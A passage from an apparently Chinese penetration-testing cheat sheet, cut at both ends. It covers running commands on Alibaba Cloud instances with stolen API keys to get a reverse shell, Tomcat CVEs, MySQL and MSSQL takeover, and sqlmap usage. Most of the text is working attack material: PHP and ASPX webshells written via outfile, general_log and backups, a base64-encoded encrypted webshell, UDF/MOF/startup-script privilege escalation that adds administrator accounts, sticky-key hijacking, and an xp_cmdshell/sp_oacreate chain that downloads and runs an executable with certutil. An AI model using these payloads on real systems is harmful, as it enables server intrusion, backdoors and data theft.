点击左边的搜素框输入command,我们会用到CreateCommand跟InvokeCommand,CreateCommand是创建命令,InvokeCommand是调用命令。继续往下看

img

Name部分随意

Type指的是执行脚本类型

RunBatScript:创建一个在Windows实例中运行的 Bat 脚本。

RunPowerShellScript:创建一个在Windows实例中运行的PowerShell脚本。

RunShellScript:创建一个在Linux实例中运行的Shell脚本。

CommandContent为执行命令,需要注意的是这里是填写base64编码。

填写完后选择python

img

点击调试SDK示例代码,此时会弹出Cloud shell窗口,并创建一个CreateCommand.py文件,用vim编辑器打开CreateCommand.py,修改accessKeyId与accessSecret。

img

img

执行CreateCommand.py,会返回一个RequestId与CommandId,记录CommandId,后面调用命令会用到。

img

打开InvokeCommand

RegionId填写行云管家中的所属网络

CommandId填写刚刚执行CreateCommand.py返回的CommandId

InstanceId填写示例ID,行云管家中获取到的那个

继续点击调试SDK代码,会生成一个InvokeCommand.py文件,同样用vim编辑器把accessKeyId与accessSecret修改了。

img

修改完成后使用nc监听端口,执行InvokeCommand.py。

img

成功执行命令反弹shell,收工。

alicloud利用工具

https://github.com/iiiusky/alicloud-tools

中间件安全

tomcat安全

参考:https://www.anquanke.com/post/id/223002 不安全的中间件——Tomcat

自带的默认应用

  1. examples目录

    1. 信息泄漏
    2. /examples/servlets/servlet/SessionExample 允许用户对session进行操纵(老系统可能出现)
  2. admin管理页面

    1. Tomcat 5.0.4版本之前都是默认安装,.5.0.4之后版本默认存在该目录,但是功能并不全

      1. 默认路径为/admin
      2. tomcat-user.xml文件中进行账号密码的配置
      3. 功能和manager下面的差不多
    2. manager管理页面

      1. 最常见的,基本tomcat默认都有
      2. 默认没有设置登录口令,需要tomcat-user.xml文件中进行账号密码的配置
      3. 登录使用的Basic认证方式(请求头里面的Authorization为base64编码,可以用burp爆破)
      4. Tomcat manager包含4个不同的角色:
        • manager-gui:允许访问html页面接口(即URL路径为/manager/html/*)
        • manager-script:允许访问纯文本接口(即URL路径为/manager/text/*)
        • manager-jmx:允许访问JMX代理接口(即URL路径为/manager/jmxproxy/*)
        • manager-status:允许访问Tomcat只读状态页面(即URL路径为/manager/status/*)
      5. 部署war包拿shell
    3. AJP协议

      1. 比较鸡肋
      2. 目前爆出的可直接利用的就是CVE-2020-1938(AJP文件包含漏洞)
    4. debug模式

      1. 默认不开启
      2. 调试端口8000,指纹jdwp
      3. 低版本的jdk中会存在漏洞,可以通过jdwp来执行系统命令
    5. CVE-2016-8735反序列化

      1. 条件:配置JMX做监控时使用了JmxRemoteLifecycleListener
      2. ysoserial来进行漏洞攻击利用
    6. CVE-2017-12615 & CVE-2017-12616 put文件上传

      1. 范围7.0.0 – 7.0.79
      2. 条件:手动将web.xml中的readonly设置为false
      3. 利用构造put上传shell,返回201为成功
    7. CVE-2019-0232命令注入

      1. 该漏洞的利用条件较为苛刻,需同时满足下列条件:

        1. 系统为Windows
        2. 启用了CGI Servlet(默认为关闭)
        3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)

        影响范围:

        9.0.0.M1-9.0.17
        8.5.0-8.5.39
        7.0.0-7.0.93
        
    8. CVE-2020-1938 AJP缺陷

      1. 文件读取,代码执行

      2. 范围

        Apache Tomcat 6
        Apache Tomcat 7 < 7.0.100
        Apache Tomcat 8 < 8.5.51
        Apache Tomcat 9 < 9.0.31
        

数据库安全

mysql渗透总结

一、sqlshell获取

要利用mysql首先得拿到一个可以执行sql的mysql才能利用,下面就说一下几种常见姿势,欢迎补充。

1、弱口令

这个比较简单,网上工具很多如美杜莎,九头蛇这些比较知名的,msf也有相应的模块。我自己之前也写过一个。要是运气好的话直接跑到弱口令就直接进去,当然也可以配合社工字典来跑这样成功率更高。

2、文件读取漏洞

需要挖一个任意文件读取漏洞,然后利用读网站的配置文件,里面存放着数据库账号密码。

3、信息泄露

扫目录扫网站备份文件,或者git泄露

4、sql注入

这个不用多说,要是权限够大直接sqlmap os-shell一把梭

5、身份认证绕过漏洞(CVE-2012-2122)

受影响版本:

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

在msf里面有模块,可以直接用auxiliary/scanner/mysql/mysql_authbypass_hashdump来跑

当数据库不能外连可以通过以下方法开放外连(注意防火墙):

可以修改host%并刷新权限后,默认root等账号不允许远程连接

use mysql;  
update user set host = '%' where user = 'root';  
FLUSH PRIVILEGES ;  
select host, user from user;

二、mysql拿shell

1、用命令直接导出shell

原理:利用导出命令来导出shell。

条件:

  1. 需要知道网站的物理路径(绝对路径)

通过程序报错,日志泄露,phpinfo,php探针等方式可以获取到物理路径。

2.允许导出

先查看是否允许导入导出

show variables like '%secure%'    
 

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下,此时如果读写发生在其他文件夹,就会报告如下错误:

RROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement  
 

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

如果条件都满足的话,就可以开始了

outfile

select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';  
 

dumpfile

select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';  
 

注意:outfile函数可以导出多行,而dumpfile只能导出一行数据outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

借助表导出。

Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES('<?php eval($_POST[xxx]) ?>');
Select cmd from temp into out file '/var/www/xx.php';
Drop TABLE IF EXISTS temp;  
 

也可以用mysql 的 -e 参数

mysql -u user -p passwd -e "select '' into outfile '/var/www/xxx.php'"
2、利用general_log拿shell

如果导入导出被禁用了就可以用这个方法试试。

原理:利用修改日志文件路径,往日志文件写入一句话。

条件:

1.对应web目录有写权限

2.需要有物理路径

3.如果拿到的是注入,还需要能执行堆叠注入

4.root用户,或者有对应权限的用户

利用如下:开启日志,更改路径,把一句话写入日志文件。

set global general_log=on;  
set global general_log_file='/var/www/1.php';  
select '<?php eval($_POST[safe6]) ?>';

3.写加密马

把冰蝎,哥斯拉的马儿进行base64编码,然后写一个普通的abb.php就访问abb.php会在当前路径生成abab.php

select '<?php file_put_contents("abab.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K"));?>' into outfile 'C:/wamp/www/abb.php';

三、任意文件读取

既然有文件导出,肯定也有文件导入。关于任意文件读取怎么用,我之前总结过。

条件:和导出shell的条件一样。

利用:先创建一张表,读取文件内容到表。

create table a (v text);
load data infile 'file_name' into table table_name fields terminated by '分隔符'  
 

例如读text.txt:

load data infile 'C:/phpstudy/MySQL/test.txt' into table a fields terminated by ',';

查看内容

SELECT * FROM a

四、mysql提权

先推荐一个小工具https://github.com/T3st0r-Git/HackMySQL

1、mof提权

原理:

利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。

条件:

1、mof提权的前提是root用户

2、可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下

利用:

网上工具也很多,可以直接用msf的exploit/windows/mysql/mysql_mof模块,执行成功后会直接反弹meterpreter。

2、udf提权

原理:

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

条件:

1、系统是Windows(Win2000,XP,Win2003);有一个mysql数据库的账户拥有insert和delete权限,以创建和抛弃函数。

2、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

3、Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\

system32。

4、拥有相应目录的写权限

注意:一般Lib、Plugin文件夹需要手工建立(也可用NTFS ADS流模式突破进而创建文件夹)

select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\\ProgramFiles\\\MySQL\\\MySQL Server 5.1\\\lib::$INDEX\_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\\ProgramFiles\\\MySQL\\\MySQL Server 5.1\\\lib\\\plugin::$INDEX\_ALLOCATION'; //利用NTFS ADS创建plugin目录

利用:

直接用msf的use exploit/multi/mysql/mysql_udf_payload模块.

msf会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为随机生成的名字(记下来后面手动创建需要用到)。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

手动创建sys_eval()

create function sys_eval returns string soname 'SGJECYG.dll';

执行手动创建的函数

select sys_eval('whoami');

检查有没有创建成功

select * from mysql.func where name = 'sys_eval';

删除函数

drop function sys_eval;

3、启动项提权

原理:本质还是用导出命令来实现,导出脚本到启动目录,服务器重启就执行脚本。

条件:上面说过了。

利用:

写个vbs到启动目录,想办法让服务器重启。

1,开始菜单当前用户启动文件夹--C:\\Users\\用户名\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
2,开始菜单所有用户启动文件夹--C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp
3,注册表当前用户开机启动项目录--HKEY\_CURRENT\_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
4,注册表所有用户开机启动项目录--HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

写脚本

create table a (cmd text);//创建表
insert into a values ("set wshshell=createobject(""wscript.shell"") " );//写数据到表
insert into a values ("a=wshshell.run(""cmd.exe /c net user aabbcc 123456 /add"",0) " );
insert into a values ("b=wshshell.run(""cmd.exe /c net localgroup administrators aabbcc/add"",0) " );
select * from a into outfile "C:\\\Documents andSettings\\\All Users\\\「开始」菜单\\\程序\\\启动\\\a.vbs";//导出vbs

msf下也有对应模块exploit/windows/mysql/mysql_start_up

五、拓展

其他常用msf模块

exploit/windows/mysql/scrutinizer_upload_exec(上传文件执行)

auxiliary/scanner/mysql/mysql_hashdump(mysql的mysql.user表的hash)

auxiliary/admin/mysql/mysql_sql(执行sql语句,navicat更香)

auxiliary/scanner/mysql/mysql_version(识别版本)

六、参考

https://xz.aliyun.com/t/3973

https://xz.aliyun.com/t/1491

https://blog.csdn.net/qq_37077262/article/details/102964050

http://www.safe6.cn/article/108

https://blog.csdn.net/qq_36119192/article/details/84863268

https://www.freebuf.com/articles/system/163144.html

mssql渗透总结

膜拜大佬文章https://y4er.com/post/mssql-getshel

getshell

能否getshell要看你当前的用户权限,如果是没有进行降权的sa用户,那么你几乎可以做任何事。当然你如果有其他具有do_owner权限的用户也可以。

拿shell的两大前提就是

  1. 有相应的权限db_owner
  2. 知道web目录的绝对路径

我们先来了解下怎么去寻找web目录的绝对路径。

寻找绝对路径
  1. 报错信息
  2. 字典猜
  3. 旁站的目录
  4. 存储过程来搜索
  5. 读配置文件

前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。

在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell xp_dirtree

先来看xp_dirtree直接举例子

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;

我们再来看xp_cmdshell怎么去找绝对路径,实际上原理就是调用cmd来查找文件,相对来说这种方法更方便。

当然你可能遇到xp_cmdshell不能调用 如果报错

SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。

可以用如下命令恢复

;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;  //打开xp_cmdshell扩展
RECONFIGURE;--

当然还不行可能xplog70.dll需要恢复,看具体情况来解决吧

接下来我们先来看cmd中怎么查找文件。

C:\Users\Y4er>for /r e:\ %i in (1*.php) do @echo %i
e:\code\php\1.php
C:\Users\Y4er>

那么我们只需要建立一个表 存在一个char字段就可以了

http://192.168.130.137/1.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));

http://192.168.130.137/1.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'

然后通过注入去查询该表就可以了。


此时我们拿到绝对路径之后,我们接着往下看怎么拿shell

xp_cmdshell拿shell

xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径

http://192.168.130.137/1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

由于cmd写webshell的主意这些转义的问题 推荐使用certutil或者vbs什么的来下载

差异备份拿shell
1. backup database 库名 to disk = 'c:\bak.bak';--

2. create table [dbo].[test] ([cmd] [image]);

3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

因为权限的问题,最好不要备份到盘符根目录

当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。

log备份拿shell

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式

1. alter database 库名 set RECOVERY FULL 

2. create table cmd (a image) 

3. backup log 库名 to disk = 'c:\xxx' with init 

4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 

5. backup log 库名 to disk = 'c:\xxx\2.asp'

log备份的好处就是备份出来的webshell的文件大小非常的小

getsystem

我们继续来探究怎么进行提权

xp_cmdshell

在2005中xp_cmdshell的权限是system,2008中是network。

当遇到无法写shell,或者是站库分离的时候,直接通过xp_cmdshell来下载我们的payload来上线会更加方便。下载文件通常有下面几种姿势

  1. certutil
  2. vbs
  3. bitsadmin
  4. powershell
  5. ftp

这个我会放在下一篇文章中细讲。

通过下载文件之后用xp_cmdshell来执行我们的payload,通过Cobalt Strike来进行下一步操作,比如怼exp或许会更加方便。

sp_oacreate

当xp_cmdshell 被删除可以使用这个来提权试试,恢复sp_oacreate

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

sp_oacreate是一个非常危险的存储过程可以删除、复制、移动文件 还能配合sp_oamethod 来写文件执行cmd

在以前的系统有这几种用法

  1. 调用cmd 来执行命令
wscript.shell执行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx'



Shell.Application执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
  1. 写入启动项
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
  1. 粘贴键替换
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

大家可以灵活运用,这里也可以这样玩,把他写成vbs或者其他的来下载文件 ,为什么不直接调用cmd来下载,再2008系统上我是不成功的,但是sp_oacreate可以启动这个文件,所以换个思路

declare @sp_passwordxieo int, @f int, @t int, @ret int;
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out;
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'c:\www\1.bat', 1;
exec @ret = sp_oamethod @f, 'writeline', NULL,'@echo off';
exec @ret = sp_oamethod @f, 'writeline', NULL,'start cmd /k "cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe"';


declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\1.bat'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\www\file.exe'

当然这里只是一种思路,你完全可以用vbs来下载什么的

沙盒提权
1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

2. exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

3. Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Databasec:\windows\system32\ias\ias.mdb','select shell( net user itpro gmasfm /add )');

引用前辈们的话

1,Access可以调用VBS的函数,以System权限执行任意命令 2,Access执行这个命令是有条件的,需要一个开关被打开 3,这个开关在注册表里 4,SA是有权限写注册表的 5,用SA写注册表的权限打开那个开关 6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令

xp_regwrite

修改注册表 来劫持粘贴键 当然在2008数据库是不成立的 因为默认权限很低

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

mssql众多的储存过程是我们利用的关键,还有很多可能没被提出,需要自己的发现,比如在遇到iis6的拿不了shell还有个上传可以跳目录,不妨试试xp_create_subdir建立个畸形目录解析。

工具使用

sqlmap

参考:https://blog.csdn.net/qq_33530840/article/details/82144515

sqlmap详细命令参数

  • –is-dba 当前用户权限(是否为root权限)
  • –dbs 所有数据库
  • –current-db 网站当前数据库
  • –users 所有数据库用户
  • –current-user 当前数据库用户
  • –random-agent 构造随机user-agent
  • –passwords 数据库密码
  • –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

——————————————————————————————————

Options(选项):

  • –version 显示程序的版本号并退出
  • -h, –help 显示此帮助消息并退出
  • -v VERBOSE 详细级别:0-6(默认为1)
  • 保存进度继续跑:

sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度 sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度

Target(目标):

以下至少需要设置其中一个选项,设置目标URL。

  • -d DIRECT 直接连接到数据库。
  • -u URL, –url=URL 目标URL。
  • -l LIST 从Burp或WebScarab代理的日志中解析目标。
  • -r REQUESTFILE 从一个文件中载入HTTP请求。
  • -g GOOGLEDORK 处理Google dork的结果作为目标URL。
  • -c CONFIGFILE 从INI配置文件中加载选项。

Request(请求):

这些选项可以用来指定如何连接到目标URL。

  • –data=DATA 通过POST发送的数据字符串
  • –cookie=COOKIE HTTP Cookie头
  • –cookie-urlencode URL 编码生成的cookie注入
  • –drop-set-cookie 忽略响应的Set – Cookie头信息
  • –user-agent=AGENT 指定 HTTP User – Agent头
  • –random-agent 使用随机选定的HTTP User – Agent头
  • –referer=REFERER 指定 HTTP Referer头
  • –headers=HEADERS 换行分开,加入其他的HTTP头
  • –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
  • –auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
  • –auth-cert=ACERT HTTP认证证书(key_file,cert_file)
  • –proxy=PROXY 使用HTTP代理连接到目标URL
  • –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
  • –ignore-proxy 忽略系统默认的HTTP代理
  • –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
  • –timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
  • –retries=RETRIES 连接超时后重新连接的时间(默认3)
  • –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
  • –safe-url=SAFURL 在测试过程中经常访问的url地址
  • –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL

Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行 您自己的SQL语句。

  • -b, –banner 检索数据库管理系统的标识
  • –current-user 检索数据库管理系统当前用户
  • –current-db 检索数据库管理系统当前数据库
  • –is-dba 检测DBMS当前用户是否DBA
  • –users 枚举数据库管理系统用户
  • –passwords 枚举数据库管理系统用户密码哈希
  • –privileges 枚举数据库管理系统用户的权限
  • –roles 枚举数据库管理系统用户的角色
  • –dbs 枚举数据库管理系统数据库
  • -D DBname 要进行枚举的指定数据库名
  • -T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)
  • –tables 枚举的DBMS数据库中的表
  • –columns 枚举DBMS数据库表列
  • –dump 转储数据库管理系统的数据库中的表项
  • –dump-all 转储所有的DBMS数据库表中的条目
  • –search 搜索列(S),表(S)和/或数据库名称(S)
  • -C COL 要进行枚举的数据库列
  • -U USER 用来进行枚举的数据库用户
  • –exclude-sysdbs 枚举表时排除系统数据库
  • –start=LIMITSTART 第一个查询输出进入检索
  • –stop=LIMITSTOP 最后查询的输出进入检索
  • –first=FIRSTCHAR 第一个查询输出字的字符检索
  • –last=LASTCHAR 最后查询的输出字字符检索
  • –sql-query=QUERY 要执行的SQL语句
  • –sql-shell 提示交互式SQL的shell

Optimization(优化):

这些选项可用于优化SqlMap的性能。

  • -o 开启所有优化开关
  • –predict-output 预测常见的查询输出
  • –keep-alive 使用持久的HTTP(S)连接
  • –null-connection 从没有实际的HTTP响应体中检索页面长度
  • –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

  • -p TESTPARAMETER 可测试的参数(S)
  • –dbms=DBMS 强制后端的DBMS为此值
  • –os=OS 强制后端的DBMS操作系统为这个值
  • –prefix=PREFIX 注入payload字符串前缀
  • –suffix=SUFFIX 注入payload字符串后缀
  • –tamper=TAMPER 使用给定的脚本(S)篡改注入数据

Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

  • –level=LEVEL 执行测试的等级(1-5,默认为1)
  • –risk=RISK 执行测试的风险(0-3,默认为1)
  • –string=STRING 查询时有效时在页面匹配字符串
  • –regexp=REGEXP 查询时有效时在页面匹配正则表达式
  • –text-only 仅基于在文本内容比较网页

Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。

  • –technique=TECH SQL注入技术测试(默认BEUST)
  • –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
  • –union-cols=UCOLS 定列范围用于测试UNION查询注入
  • –union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint(指纹):

  • -f, –fingerprint 执行检查广泛的DBMS版本指纹

Brute force(蛮力):

这些选项可以被用来运行蛮力检查。

  • –common-tables 检查存在共同表
  • –common-columns 检查存在共同列

User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。

–udf-inject 注入用户自定义函数 –shared-lib=SHLIB 共享库的本地路径

File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

  • –file-read=RFILE 从后端的数据库管理系统文件系统读取文件
  • –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
  • –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。

  • –os-cmd=OSCMD 执行操作系统命令
  • –os-shell 交互式的操作系统的shell
  • –os-pwn 获取一个OOB shell,meterpreter或VNC
  • –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
  • –os-bof 存储过程缓冲区溢出利用
  • –priv-esc 数据库进程用户权限提升
  • –msf-path=MSFPATH Metasploit Framework本地的安装路径
  • –tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。

  • –reg-read 读一个Windows注册表项值
  • –reg-add 写一个Windows注册表项值数据
  • –reg-del 删除Windows注册表键值
  • –reg-key=REGKEY Windows注册表键
  • –reg-value=REGVAL Windows注册表项值
  • –reg-data=REGDATA Windows注册表键值数据
  • –reg-type=REGTYPE Windows注册表项值类型

这些选项可以用来设置一些一般的工作参数。

  • -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
  • -s SESSIONFILE 保存和恢复检索会话文件的所有数据
  • –flush-session 刷新当前目标的会话文件
  • –fresh-queries 忽略在会话文件中存储的查询结果
  • –eta 显示每个输出的预计到达时间
  • –update 更新SqlMap
  • –save file保存选项到INI配置文件
  • –batch 从不询问用户输入,使用所有默认配置。

Miscellaneous(杂项):

  • –beep 发现SQL注入时提醒
  • –check-payload IDS对注入payloads的检测测试
  • –cleanup SqlMap具体的UDF和表清理DBMS
  • –forms 对目标URL的解析和测试形式
  • –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
  • –page-rank Google dork结果显示网页排名(PR)
  • –parse-errors 从响应页面解析数据库管理系统的错误消息
  • –replicate 复制转储的数据到一个sqlite3数据库
  • –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
  • –wizard 给初级用户的简单向导界面

sqlmap使用

使用代理

可以配合代理池,我之前有发过

sqlmap -u “http://www.vuln.cn/post.php?id=1” --proxy “http://127.0.0.1:1080″

检测注入

sqlmap -u “http://www.vuln.cn/post.php?id=1”

cookie注入

只有level达到2才会检测cookie

sqlmap -u “http://www.vuln.cn” –cookie “id=11” --level 2

数据包注入

sqlmap -r “c:\tools\request.txt” 

post注入

sqlmap -u "http://www.vuln.cn/post.php?id=1" --method POST --data "id=1"

伪静态注入

因为+号会被url编码,所以我们通常使用减号来进行判断。

http://www.xxxx.com/product/detail/id/3-1.html

注入的地方用*号

sqlmap.py -u www.xxxx.com/product/detail/id/3*.html --dbms=mysql -v 3 

跑库

--dbms指定数据库

--dbs列出全部数据库

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql  --dbs

跑表

-D指定数据库(test)

--tables列出该库全部表

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql  -D test --tables

跑列名

-T指定表(admin)

--columns列出该表全部列名

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql  -D test -T admin –-columns

跑数据

-C指定列名

--dump跑全部数据

--start 1 --stop 10 跑十条数据

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql -D test -T admin -C “username,password” --dump

判断是否是管理员

sqlmap -u “http://www.vuln.cn/post.php?id=1”  --dbms mysql --is-dba

sqlshell

获取一个sqlshell,可以用来执行sql语句

sqlmap -u “http://www.vuln.cn/post.php?id=1” --sql-shell

用search参数快速定位password列

sqlmap -r “c:\tools\request.txt” –dbms mysql -D test –search -C admin,password

获取shell

条件:

